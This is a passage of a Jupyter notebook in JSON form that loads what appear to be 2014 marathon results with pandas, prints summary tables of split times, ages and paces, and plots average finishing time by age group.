2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702617232\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702622672\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data57\", \"id\": \"el126114702624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114702625616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data57\", \"id\": \"el126114702643728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data54\", \"id\": \"el126114702645392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data56\", \"id\": \"el126114702659408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data56\", \"id\": \"el126114702660688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702671888\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data62\", \"id\": \"el126114702673168\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data63\", \"id\": \"el126114702662096\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 9, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114390414032\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 240.0, 81.0], [59.0, 240.0, 81.0]], \"data43\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 306.0, 93.0], [60.0, 306.0, 93.0]], \"data40\": [[57.0, 0.0, 0.0], [57.8, 0.0, 0.0], [57.8, 373.0, 164.0], [57.0, 373.0, 164.0]], \"data41\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 263.0, 128.0], [58.0, 263.0, 128.0]], \"data46\": [[63.0, 0.0, 0.0], [63.8, 0.0, 0.0], [63.8, 181.0, 50.0], [63.0, 181.0, 50.0]], \"data47\": [[64.0, 0.0, 0.0], [64.8, 0.0, 0.0], [64.8, 151.0, 34.0], [64.0, 151.0, 34.0]], \"data44\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 253.0, 94.0], [61.0, 253.0, 94.0]], \"data45\": [[62.0, 0.0, 0.0], [62.8, 0.0, 0.0], [62.8, 221.0, 70.0], [62.0, 221.0, 70.0]], \"data48\": [[65.0, 0.0, 0.0], [65.8, 0.0, 0.0], [65.8, 168.0, 38.0], [65.0, 168.0, 38.0]], \"data49\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 147.0, 32.0], [66.0, 147.0, 32.0]], \"data50\": [[67.0, 0.0], [67.8, 0.0], [67.8, 110.0], [67.0, 110.0]], \"data53\": [[70.0, 0.0], [70.8, 0.0], [70.8, 48.0], [70.0, 48.0]], \"data61\": [[78.0, 0.0, 79.0, 80.0], [78.8, 0.0, 79.8, 80.8], [78.8, 3.0, 79.8, 80.8], [78.0, 3.0, 79.0, 80.0]], \"data63\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data28\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 671.0, 532.0], [45.0, 671.0, 532.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 124.0, 224.0], [23.0, 124.0, 224.0]], \"data52\": [[69.0, 0.0, 0.0, 70.0], [69.8, 0.0, 0.0, 70.8], [69.8, 42.0, 11.0, 70.8], [69.0, 42.0, 11.0, 70.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 213.0, 349.0], [25.0, 213.0, 349.0]], \"data09\": [[26.0, 0.0, 0.0], [26.8, 0.0, 0.0], [26.8, 277.0, 431.0], [26.0, 277.0, 431.0]], \"data20\": [[37.0, 0.0, 0.0], [37.8, 0.0, 0.0], [37.8, 408.0, 404.0], [37.0, 408.0, 404.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 407.0, 392.0], [38.0, 407.0, 392.0]], \"data22\": [[39.0, 0.0, 0.0], [39.8, 0.0, 0.0], [39.8, 446.0, 437.0], [39.0, 446.0, 437.0]], \"data05\": [[22.0, 0.0, 0.0], [22.8, 0.0, 0.0], [22.8, 108.0, 172.0], [22.0, 108.0, 172.0]], \"data02\": [[19.0, 0.0, 0.0, 67.0], [19.8, 0.0, 0.0, 67.8], [19.8, 27.0, 14.0, 67.8], [19.0, 27.0, 14.0, 67.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 77.0, 96.0], [21.0, 77.0, 96.0]], \"data26\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 524.0, 444.0], [43.0, 524.0, 444.0]], \"data01\": [[18.0, 0.0, 0.0, 68.0], [18.8, 0.0, 0.0, 68.8], [18.8, 21.0, 12.0, 68.8], [18.0, 21.0, 12.0, 68.0]], \"data55\": [[72.0, 0.0, 0.0], [72.8, 0.0, 0.0], [72.8, 28.0, 6.0], [72.0, 28.0, 6.0]], \"data60\": [[77.0, 0.0], [77.8, 0.0], [77.8, 6.0], [77.0, 6.0]], \"data23\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 533.0, 553.0], [40.0, 533.0, 553.0]], \"data62\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data57\": [[74.0, 0.0, 0.0, 75.0, 77.0], [74.8, 0.0, 0.0, 75.8, 77.8], [74.8, 14.0, 1.0, 75.8, 77.8], [74.0, 14.0, 1.0, 75.0, 77.0]], \"data51\": [[68.0, 0.0], [68.8, 0.0], [68.8, 70.0], [68.0, 70.0]], \"data24\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 501.0, 483.0], [41.0, 501.0, 483.0]], \"data56\": [[73.0, 0.0, 0.0, 76.0, 79.0, 80.0], [73.8, 0.0, 0.0, 76.8, 79.8, 80.8], [73.8, 22.0, 0.0, 76.8, 79.8, 80.8], [73.0, 22.0, 0.0, 76.0, 79.0, 80.0]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 47.0, 64.0], [20.0, 47.0, 64.0]], \"data27\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 507.0, 378.0], [44.0, 507.0, 378.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 172.0, 310.0], [24.0, 172.0, 310.0]], \"data54\": [[71.0, 0.0, 0.0, 78.0], [71.8, 0.0, 0.0, 78.8], [71.8, 54.0, 2.0, 78.8], [71.0, 54.0, 2.0, 78.0]], \"data37\": [[54.0, 0.0, 0.0], [54.8, 0.0, 0.0], [54.8, 395.0, 198.0], [54.0, 395.0, 198.0]], \"data36\": [[53.0, 0.0, 0.0], [53.8, 0.0, 0.0], [53.8, 432.0, 214.0], [53.0, 432.0, 214.0]], \"data35\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 499.0, 309.0], [52.0, 499.0, 309.0]], \"data34\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 540.0, 365.0], [51.0, 540.0, 365.0]], \"data25\": [[42.0, 0.0, 0.0], [42.8, 0.0, 0.0], [42.8, 568.0, 479.0], [42.0, 568.0, 479.0]], \"data32\": [[49.0, 0.0, 0.0], [49.8, 0.0, 0.0], [49.8, 480.0, 406.0], [49.0, 480.0, 406.0]], \"data31\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 516.0, 396.0], [48.0, 516.0, 396.0]], \"data30\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 599.0, 465.0], [47.0, 599.0, 465.0]], \"data59\": [[76.0, 0.0], [76.8, 0.0], [76.8, 13.0], [76.0, 13.0]], \"data58\": [[75.0, 0.0], [75.8, 0.0], [75.8, 16.0], [75.0, 16.0]], \"data39\": [[56.0, 0.0, 0.0], [56.8, 0.0, 0.0], [56.8, 416.0, 185.0], [56.0, 416.0, 185.0]], \"data38\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 487.0, 210.0], [55.0, 487.0, 210.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 457.0, 422.0], [36.0, 457.0, 422.0]], \"data18\": [[35.0, 0.0, 0.0], [35.8, 0.0, 0.0], [35.8, 403.0, 439.0], [35.0, 403.0, 439.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 389.0, 398.0], [32.0, 389.0, 398.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 368.0, 389.0], [31.0, 368.0, 389.0]], \"data17\": [[34.0, 0.0, 0.0], [34.8, 0.0, 0.0], [34.8, 362.0, 344.0], [34.0, 362.0, 344.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 372.0, 347.0], [33.0, 372.0, 347.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 315.0, 449.0], [28.0, 315.0, 449.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 287.0, 453.0], [27.0, 287.0, 453.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 339.0, 428.0], [30.0, 339.0, 428.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 319.0, 414.0], [29.0, 319.0, 414.0]], \"data29\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 660.0, 498.0], [46.0, 660.0, 498.0]], \"data33\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 611.0, 405.0], [50.0, 611.0, 405.0]]}, \"id\": \"el126114430985104\"});\n", " })\n", " });\n", "}\n", "</script>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 18, "text": [ "<IPython.core.display.HTML at 0x1081aecd0>" ] } ], "prompt_number": 18 }, { "cell_type": "code", "collapsed": false, "input": [ "df = pd.read_csv(\"results/2014/results.csv\")" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 27 }, { "cell_type": "code", "collapsed": false, "input": [ "df.head(10)" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>10k</th>\n", " <th>name</th>\n", " <th>division</th>\n", " <th>25k</th>\n", " <th>gender</th>\n", " <th>age</th>\n", " <th>official</th>\n", " <th>bib</th>\n", " <th>genderdiv</th>\n", " <th>ctz</th>\n", " <th>35k</th>\n", " <th>overall</th>\n", " <th>pace</th>\n", " <th>state</th>\n", " <th>30k</th>\n", " <th>5k</th>\n", " <th>half</th>\n", " <th>20k</th>\n", " <th>country</th>\n", " <th>city</th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 17.37</td>\n", " <td> Yamamoto, Hiroyuki</td>\n", " <td> 8</td>\n", " <td> 47.67</td>\n", " <td> M</td>\n", " <td> 47</td>\n", " <td> 85.25</td>\n", " <td> W1</td>\n", " <td> 8</td>\n", " <td> NaN</td>\n", " <td> 71.40</td>\n", " <td> 8</td>\n", " <td> 3.27</td>\n", " <td> NaN</td>\n", " <td> 59.18</td>\n", " <td> 8.02</td>\n", " <td> 39.72</td>\n", " <td> 37.65</td>\n", " <td> JPN</td>\n", " <td> Fukuoka</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 32.58</td>\n", " <td> Jeptoo, Rita</td>\n", " <td> 1</td>\n", " <td> 82.43</td>\n", " <td> F</td>\n", " <td> 33</td>\n", " <td> 138.95</td>\n", " <td> F1</td>\n", " <td> 1</td>\n", " <td> NaN</td>\n", " <td> 116.37</td>\n", " <td> 21</td>\n", " <td> 5.30</td>\n", " <td> NaN</td>\n", " <td> 99.33</td>\n", " <td> 16.22</td>\n", " <td> 69.47</td>\n", " <td> 65.83</td>\n", " <td> KEN</td>\n", " <td> Eldoret</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 16.62</td>\n", " <td> Van Dyk, Ernst F.</td>\n", " <td> 1</td>\n", " <td> 45.80</td>\n", " <td> M</td>\n", " <td> 41</td>\n", " <td> 80.60</td>\n", " <td> W2</td>\n", " <td> 1</td>\n", " <td> NaN</td>\n", " <td> 67.42</td>\n", " <td> 1</td>\n", " <td> 3.08</td>\n", " <td> NaN</td>\n", " <td> 56.45</td>\n", " <td> 7.75</td>\n", " <td> 38.03</td>\n", " <td> 36.10</td>\n", " <td> RSA</td>\n", " <td> Paarl</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 32.57</td>\n", " <td> Dibaba, Mare</td>\n", " <td> 3</td>\n", " <td> 82.43</td>\n", " <td> F</td>\n", " <td> 24</td>\n", " <td> 140.58</td>\n", " <td> F2</td>\n", " <td> 3</td>\n", " <td> NaN</td>\n", " <td> 116.37</td>\n", " <td> 27</td>\n", " <td> 5.37</td>\n", " <td> NaN</td>\n", " <td> 99.33</td>\n", " <td> 16.20</td>\n", " <td> 69.47</td>\n", " <td> 65.83</td>\n", " <td> ETH</td>\n", " <td> Shoa</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 17.12</td>\n", " <td> Hokinoue, Kota</td>\n", " <td> 2</td>\n", " <td> 46.37</td>\n", " <td> M</td>\n", " <td> 40</td>\n", " <td> 81.23</td>\n", " <td> W3</td>\n", " <td> 2</td>\n", " <td> NaN</td>\n", " <td> 67.83</td>\n", " <td> 2</td>\n", " <td> 3.10</td>\n", " <td> NaN</td>\n", " <td> 57.03</td>\n", " <td> 8.02</td>\n", " <td> 38.60</td>\n", " <td> 36.58</td>\n", " <td> JPN</td>\n", " <td> Nogata Fukuoka</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 32.58</td>\n", " <td> Sumgong, Jemima Jelagat</td>\n", " <td> 4</td>\n", " <td> 82.45</td>\n", " <td> F</td>\n", " <td> 29</td>\n", " <td> 140.68</td>\n", " <td> F3</td>\n", " <td> 4</td>\n", " <td> NaN</td>\n", " <td> 116.37</td>\n", " <td> 28</td>\n", " <td> 5.37</td>\n", " <td> NaN</td>\n", " <td> 99.33</td>\n", " <td> 16.22</td>\n", " <td> 69.47</td>\n", " <td> 65.83</td>\n", " <td> KEN</td>\n", " <td> Nandi</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 17.65</td>\n", " <td> Hug, Marcel E.</td>\n", " <td> 4</td>\n", " <td> 47.67</td>\n", " <td> M</td>\n", " <td> 28</td>\n", " <td> 84.65</td>\n", " <td> W4</td>\n", " <td> 4</td>\n", " <td> NaN</td>\n", " <td> 70.23</td>\n", " <td> 4</td>\n", " <td> 3.23</td>\n", " <td> NaN</td>\n", " <td> 58.60</td>\n", " <td> 8.38</td>\n", " <td> 39.72</td>\n", " <td> 37.65</td>\n", " <td> SUI</td>\n", " <td> Neuenkirch</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 30.48</td>\n", " <td> Geneti, Markos</td>\n", " <td> 5</td>\n", " <td> 76.95</td>\n", " <td> M</td>\n", " <td> 29</td>\n", " <td> 129.83</td>\n", " <td> 5</td>\n", " <td> 5</td>\n", " <td> NaN</td>\n", " <td> 107.47</td>\n", " <td> 5</td>\n", " <td> 4.97</td>\n", " <td> NaN</td>\n", " <td> 92.52</td>\n", " <td> 15.17</td>\n", " <td> 64.85</td>\n", " <td> 61.62</td>\n", " <td> ETH</td>\n", " <td> Addis Ababa</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> 17.12</td>\n", " <td> Soejima, Masazumi</td>\n", " <td> 3</td>\n", " <td> 46.37</td>\n", " <td> M</td>\n", " <td> 43</td>\n", " <td> 81.23</td>\n", " <td> W6</td>\n", " <td> 3</td>\n", " <td> NaN</td>\n", " <td> 67.83</td>\n", " <td> 3</td>\n", " <td> 3.10</td>\n", " <td> NaN</td>\n", " <td> 57.03</td>\n", " <td> 8.00</td>\n", " <td> 38.60</td>\n", " <td> 36.60</td>\n", " <td> JPN</td>\n", " <td> Isahaya</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> 30.48</td>\n", " <td> Hall, Ryan</td>\n", " <td> 20</td>\n", " <td> 77.68</td>\n", " <td> M</td>\n", " <td> 31</td>\n", " <td> 137.83</td>\n", " <td> 6</td>\n", " <td> 20</td>\n", " <td> NaN</td>\n", " <td> 112.27</td>\n", " <td> 20</td>\n", " <td> 5.27</td>\n", " <td> CA</td>\n", " <td> 94.78</td>\n", " <td> 15.15</td>\n", " <td> 65.23</td>\n", " <td> 61.78</td>\n", " <td> USA</td>\n", " <td> Redding</td>\n", " <td>...</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>10 rows \u00d7 21 columns</p>\n", "</div>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 29, "text": [ " 10k name division 25k gender age official bib \\\n", "0 17.37 Yamamoto, Hiroyuki 8 47.67 M 47 85.25 W1 \n", "1 32.58 Jeptoo, Rita 1 82.43 F 33 138.95 F1 \n", "2 16.62 Van Dyk, Ernst F. 1 45.80 M 41 80.60 W2 \n", "3 32.57 Dibaba, Mare 3 82.43 F 24 140.58 F2 \n", "4 17.12 Hokinoue, Kota 2 46.37 M 40 81.23 W3 \n", "5 32.58 Sumgong, Jemima Jelagat 4 82.45 F 29 140.68 F3 \n", "6 17.65 Hug, Marcel E. 4 47.67 M 28 84.65 W4 \n", "7 30.48 Geneti, Markos 5 76.95 M 29 129.83 5 \n", "8 17.12 Soejima, Masazumi 3 46.37 M 43 81.23 W6 \n", "9 30.48 Hall, Ryan 20 77.68 M 31 137.83 6 \n", "\n", " genderdiv ctz 35k overall pace state 30k 5k half 20k \\\n", "0 8 NaN 71.40 8 3.27 NaN 59.18 8.02 39.72 37.65 \n", "1 1 NaN 116.37 21 5.30 NaN 99.33 16.22 69.47 65.83 \n", "2 1 NaN 67.42 1 3.08 NaN 56.45 7.75 38.03 36.10 \n", "3 3 NaN 116.37 27 5.37 NaN 99.33 16.20 69.47 65.83 \n", "4 2 NaN 67.83 2 3.10 NaN 57.03 8.02 38.60 36.58 \n", "5 4 NaN 116.37 28 5.37 NaN 99.33 16.22 69.47 65.83 \n", "6 4 NaN 70.23 4 3.23 NaN 58.60 8.38 39.72 37.65 \n", "7 5 NaN 107.47 5 4.97 NaN 92.52 15.17 64.85 61.62 \n", "8 3 NaN 67.83 3 3.10 NaN 57.03 8.00 38.60 36.60 \n", "9 20 NaN 112.27 20 5.27 CA 94.78 15.15 65.23 61.78 \n", "\n", " country city \n", "0 JPN Fukuoka ... \n", "1 KEN Eldoret ... \n", "2 RSA Paarl ... \n", "3 ETH Shoa ... \n", "4 JPN Nogata Fukuoka ... \n", "5 KEN Nandi ... \n", "6 SUI Neuenkirch ... \n", "7 ETH Addis Ababa ... \n", "8 JPN Isahaya ... \n", "9 USA Redding ... \n", "\n", "[10 rows x 21 columns]" ] } ], "prompt_number": 29 }, { "cell_type": "code", "collapsed": false, "input": [ "df.describe()" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>division</th>\n", " <th>age</th>\n", " <th>official</th>\n", " <th>genderdiv</th>\n", " <th>overall</th>\n", " <th>pace</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>count</th>\n", " <td> 31984.000000</td>\n", " <td> 31984.000000</td>\n", " <td> 31984.000000</td>\n", " <td> 31984.000000</td>\n", " <td> 31984.000000</td>\n", " <td> 31984.000000</td>\n", " </tr>\n", " <tr>\n", " <th>mean</th>\n", " <td> 1932.563032</td>\n", " <td> 42.407079</td>\n", " <td> 242.997314</td>\n", " <td> 8051.044741</td>\n", " <td> 15939.587825</td>\n", " <td> 9.275658</td>\n", " </tr>\n", " <tr>\n", " <th>std</th>\n", " <td> 1715.228694</td>\n", " <td> 11.316496</td>\n", " <td> 52.300431</td>\n", " <td> 4754.005626</td>\n", " <td> 9232.978224</td>\n", " <td> 1.992486</td>\n", " </tr>\n", " <tr>\n", " <th>min</th>\n", " <td> 1.000000</td>\n", " <td> 18.000000</td>\n", " <td> 80.600000</td>\n", " <td> 1.000000</td>\n", " <td> 1.000000</td>\n", " <td> 3.080000</td>\n", " </tr>\n", " <tr>\n", " <th>25%</th>\n", " <td> 610.000000</td>\n", " <td> 33.000000</td>\n", " <td> 205.527500</td>\n", " <td> 3972.000000</td>\n", " <td> 7943.750000</td>\n", " <td> 7.850000</td>\n", " </tr>\n", " <tr>\n", " <th>50%</th>\n", " <td> 1425.000000</td>\n", " <td> 42.000000</td>\n", " <td> 232.370000</td>\n", " <td> 7970.000000</td>\n", " <td> 15939.500000</td>\n", " <td> 8.870000</td>\n", " </tr>\n", " <tr>\n", " <th>75%</th>\n", " <td> 2611.000000</td>\n", " <td> 50.000000</td>\n", " <td> 273.235000</td>\n", " <td> 11968.000000</td>\n", " <td> 23935.250000</td>\n", " <td> 10.430000</td>\n", " </tr>\n", " <tr>\n", " <th>max</th>\n", " <td> 6979.000000</td>\n", " <td> 81.000000</td>\n", " <td> 538.880000</td>\n", " <td> 17575.000000</td>\n", " <td> 31931.000000</td>\n", " <td> 20.570000</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>8 rows \u00d7 6 columns</p>\n", "</div>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 25, "text": [ " division age official genderdiv overall \\\n", "count 31984.000000 31984.000000 31984.000000 31984.000000 31984.000000 \n", "mean 1932.563032 42.407079 242.997314 8051.044741 15939.587825 \n", "std 1715.228694 11.316496 52.300431 4754.005626 9232.978224 \n", "min 1.000000 18.000000 80.600000 1.000000 1.000000 \n", "25% 610.000000 33.000000 205.527500 3972.000000 7943.750000 \n", "50% 1425.000000 42.000000 232.370000 7970.000000 15939.500000 \n", "75% 2611.000000 50.000000 273.235000 11968.000000 23935.250000 \n", "max 6979.000000 81.000000 538.880000 17575.000000 31931.000000 \n", "\n", " pace \n", "count 31984.000000 \n", "mean 9.275658 \n", "std 1.992486 \n", "min 3.080000 \n", "25% 7.850000 \n", "50% 8.870000 \n", "75% 10.430000 \n", "max 20.570000 \n", "\n", "[8 rows x 6 columns]" ] } ], "prompt_number": 25 }, { "cell_type": "code", "collapsed": false, "input": [ "df['official'].groupby(pd.cut(df['age'], range(15,90,5))).aggregate(np.average).plot(kind=\"bar\", title=\"Average time by age group\")" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 99, "text": [ "<matplotlib.axes.AxesSubplot at 0x12da2f390>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA2kAAAF0CAYAAAC5X3HKAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3Xt0lPWdx/HPJORCuN+CSVmNAYyXRaxUYmlOogXW1MIu\nt8NF6to9p2fVcqy2lgW0tVilrUXU3aN0t8u2y3HdtJIFhCAUiHJJxKSQgiBi0JhgiRAjEEJJCJl5\n9g/J00RCMoGZzG+e3/t1DufM85tnnvl++D1KvnluPsdxHAEAAAAAjBAT6QIAAAAAAH9FkwYAAAAA\nBqFJAwAAAACD0KQBAAAAgEFo0gAAAADAIDRpAAAAAGAQmjQAgDH+6Z/+Sdu3b4/Id2/dulUTJ05U\nSUlJRL4fAIAWNGkAEEJvvvmmvv/97+v222/XV7/6VZ09ezbSJRlh6dKlOnnyZKfrzZkzR8OHD++G\nii42YcIEfetb34rIdwMA0BpNGgCE0J133qnnn39eI0aM0NNPP61Vq1ZFuiQjnD17Vk1NTZ2u93d/\n93caNmxYN1QEAIC5ekS6AADwmkOHDunqq6/WnXfeqVmzZum+++5z31uyZIleeeUVTZ8+XU899ZTO\nnDmjxYsX6/XXX9f3vvc9PfDAA5Kk3/72tzp48KAcx1FTU5O+8pWv6B//8R/d7WzatEmrVq3Sdddd\npxtuuEFr1qxRz549lZWVpXvuucfdxv79+yVJjuPotttuc9+TpPPnz2vJkiU6deqUGhoaFBsbq7q6\nOqWkpOiJJ55Q3759VVlZqV/96leSpEAgoObmZj366KNdaqR++tOfatOmTaqurlZSUpIkKSsrS9On\nT3fXKSsr08svv6zy8nL9y7/8i3Jyctz31q9fryeeeEI33XST+vbtqwEDBujYsWOKi4vTuHHj3L+X\n2tpavfDCC2publZzc7POnTun7373u7rhhhuCrlWSjh49qoceekiO40iS/uZv/kbz589XTEyMTp48\nqbvuuktf/vKX9cwzz6h///567733tGDBAvXq1Ut5eXlBfUd1dbWeffZZSVJMTIyam5v1xBNPaODA\nge46u3fv1q9//WslJibq008/1YQJE7RixQrNnz9f06ZNk9T5fhKMP/zhD1q9erXi4uJ04sQJjR07\nVhs3btSiRYt0xx136IMPPtDy5ct19OhRPfHEE3ruuefUq1cv9evXT0899ZQk6dSpU/r5z3+u8+fP\nu9tdtGiRhgwZIkn6xS9+ocLCQm3ZskWS9L//+79as2aNZsyYoVmzZik/P1/Lli3TP//zP2vTpk0a\nPHiwmpqalJWV1ea/